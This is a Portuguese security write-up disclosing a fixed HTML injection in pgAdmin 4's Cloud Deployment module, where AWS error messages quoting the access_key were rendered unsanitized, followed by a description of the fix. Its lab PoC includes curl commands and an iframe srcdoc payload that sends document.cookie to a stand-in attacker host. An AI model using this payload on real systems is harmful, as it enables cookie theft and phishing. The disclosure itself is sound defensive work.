CVE-2026-12047 — HTML injection no módulo Cloud Deployment do pgAdmin 4
1. Introdução
Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler o artigo introdutório antes de continuar.
A CVE-2026-12047 tem CVSS 3.5 (Baixa) — a menor severidade do conjunto, mas é tecnicamente interessante porque ilustra como uma cadeia de decisões de design aparentemente razoáveis se combina para criar uma injeção que passa despercebida. O módulo de Cloud Deployment do pgAdmin passou mensagens de erro de SDKs externos (AWS, Azure, Google) para o frontend sem sanitização de HTML, e o frontend as renderizava diretamente com html-react-parser.
O ponto de entrada que reportei foi o endpoint /rds/verify_credentials/, porém o mesmo padrão existia em vários endpoints irmãos dos provedores Azure e Google. A severidade é baixa porque o impacto base é auto-direcionado: o próprio usuário que envia o payload é quem vê a injeção. Escalona para outros usuários somente com CSRF adicional.
Aviso: conteúdo exclusivamente educacional. A falha já foi corrigida na versão 9.16 do pgAdmin 4.
2. O módulo Cloud Deployment
O pgAdmin tem um assistente (Cloud Wizard) para provisionar instâncias PostgreSQL diretamente em provedores de nuvem (como AWS RDS, Azure Database for PostgreSQL e Google Cloud SQL). O fluxo começa com a verificação de credenciais do provedor antes de iniciar o deployment.
O endpoint de verificação de credenciais AWS está em /rds/verify_credentials/ e recebe, entre outros parâmetros, a access_key da AWS. O handler Python faz uma chamada à AWS STS para validar as credenciais:
# web/pgadmin/misc/cloud/aws/rds/__init__.py — antes da correção (simplificado)
@blueprint.route('/verify_credentials/', methods=['POST'])
@pga_login_required
def verify_credentials():
data = request.get_json(force=True, silent=True) or {}
access_key = data.get('access_key', '')
...
try:
client = boto3.client(
'sts',
aws_access_key_id=access_key,
...
)
client.get_caller_identity()
return make_json_response(data={'status': True})
except Exception as e:
# Erro da AWS é passado diretamente para o response sem escape
return make_json_response(
success=0,
status=401,
info=str(e) # <-- aqui está o problema
)
3. Por que a AWS cita a access_key no erro
O comportamento da AWS STS que possibilita a injeção é o seguinte: quando você submete uma credencial mal-formada, a API retorna um erro IncompleteSignature que cita o valor literal da access_key que você enviou:
An error occurred (IncompleteSignature) when calling the GetCallerIdentity operation:
'<iframe srcdoc="...">' not a valid key=value pair (missing equal-sign) in Authorization header
Ou seja: o texto do erro já contém o payload HTML que o atacante inseriu na access_key. O backend do pgAdmin repassa esse texto para o campo info da resposta JSON, e o Cloud Wizard no frontend renderiza esse campo com html-react-parser.
4. A cadeia de renderização
POST /rds/verify_credentials/
access_key = '<iframe srcdoc="<script>alert(1)</script>">'
↓
AWS STS rejeita → IncompleteSignature, cita a access_key no erro
↓
pgAdmin backend → make_json_response(info=str(aws_exception))
↓
Frontend Cloud Wizard → FormFooterMessage → HTMLReactParse(info)
↓
<iframe srcdoc> renderizado no DOM do pgAdmin
↓
JavaScript executa no contexto do pgAdmin (same-origin)
O srcdoc é a chave aqui: React 19 sanitiza URIs javascript: em atributos src e href, mas não sanitiza o conteúdo do atributo srcdoc. E como o iframe com srcdoc é same-origin com o pgAdmin, o código JavaScript dentro dele tem acesso ao DOM e aos recursos do contexto pai.
5. O ambiente de laboratório e o PoC
O laboratório eu usei a versão 9.14 do pgAdmin (a Cloud Deployment estava disponível, mas as credenciais AWS não precisavam ser reais para demonstrar a injeção, qualquer valor que causasse um erro da AWS era suficiente).
5.1 A requisição de PoC
# 1. Autenticar e obter CSRF
CSRF=$(curl -sc /tmp/jar http://localhost:5050/login \
| grep -oP '"csrfToken"\s*:\s*"\K[^"]+')
curl -sb /tmp/jar -c /tmp/jar -X POST http://localhost:5050/authenticate/login \
-H "X-pgA-CSRFToken: $CSRF" \
-d "email=admin@lab.dev&password=Admin@2024!&csrf_token=$CSRF" \
-o /dev/null
AUTH_CSRF=$(curl -sb /tmp/jar http://localhost:5050/browser/js/utils.js \
| grep -oP "pgAdmin\['csrf_token'\] = '\K[^']+")
# 2. Submeter access_key com payload HTML
# O srcdoc contém o iframe que vai executar JS no contexto do pgAdmin
PAYLOAD='<iframe srcdoc="<script>parent.location='https://attacker.example/?c='+document.cookie</script>">'
curl -sb /tmp/jar \
-X POST http://localhost:5050/rds/verify_credentials/ \
-H "X-pgA-CSRFToken: $AUTH_CSRF" \
-H "Content-Type: application/json" \
-d "{\"access_key\": \"$PAYLOAD\", \"secret_access_key\": \"x\", \"region\": \"us-east-1\"}"
5.2 A resposta
A resposta JSON traz o payload HTML no campo info, e quando o Cloud Wizard renderiza esse campo com html-react-parser, o <iframe srcdoc> é inserido no DOM:
{
"success": 0,
"info": "An error occurred (IncompleteSignature): '<iframe srcdoc=\"...\">' not a valid key=value pair..."
}
A partir daí, o JavaScript dentro do srcdoc executa no contexto da aba do pgAdmin. Esse vetor de redirecionamento via parent.location é o mesmo da CVE-2026-12048, mas aqui, como o contexto inicial é o próprio usuário que submeteu o payload, a injeção é auto-direcionada.
5.3 Impacto real vs potencial
O impacto base (self-directed) permite:
- Redirecionar a aba do pgAdmin para uma página de phishing
- Coletar informações do contexto (CSRF token, cookies não-HttpOnly, etc.)
Para afetar outros usuários, o atacante precisaria de um primitive de CSRF adicional. Por exemplo, induzir outro usuário a clicar num link que faça um POST automaticamente para /rds/verify_credentials/ com o payload. Esse cenário adicional de CSRF é o que mantém a severidade baixa.
6. A correção
A correção foi aplicada em duas camadas:
Backend: um novo helper sanitize_external_text foi criado em web/pgadmin/utils/text_sanitize.py e aplicado em todas as strings de exceção de SDKs externos antes de serem incluídas nas respostas JSON:
# web/pgadmin/utils/text_sanitize.py — novo helper
import html
def sanitize_external_text(text):
"""Escapa HTML em texto vindo de fontes externas (SDKs, APIs de terceiros)."""
if text is None:
return text
return html.escape(str(text))
# No handler do verify_credentials — após a correção
except Exception as e:
return make_json_response(
success=0,
status=401,
info=sanitize_external_text(str(e)) # HTML escapado
)
Frontend: o FormFooterMessage passou a renderizar as strings vindas do backend em modo texto puro para mensagens de erro de operações de cloud, em vez de usar html-react-parser.
Referência: pgadmin4#10069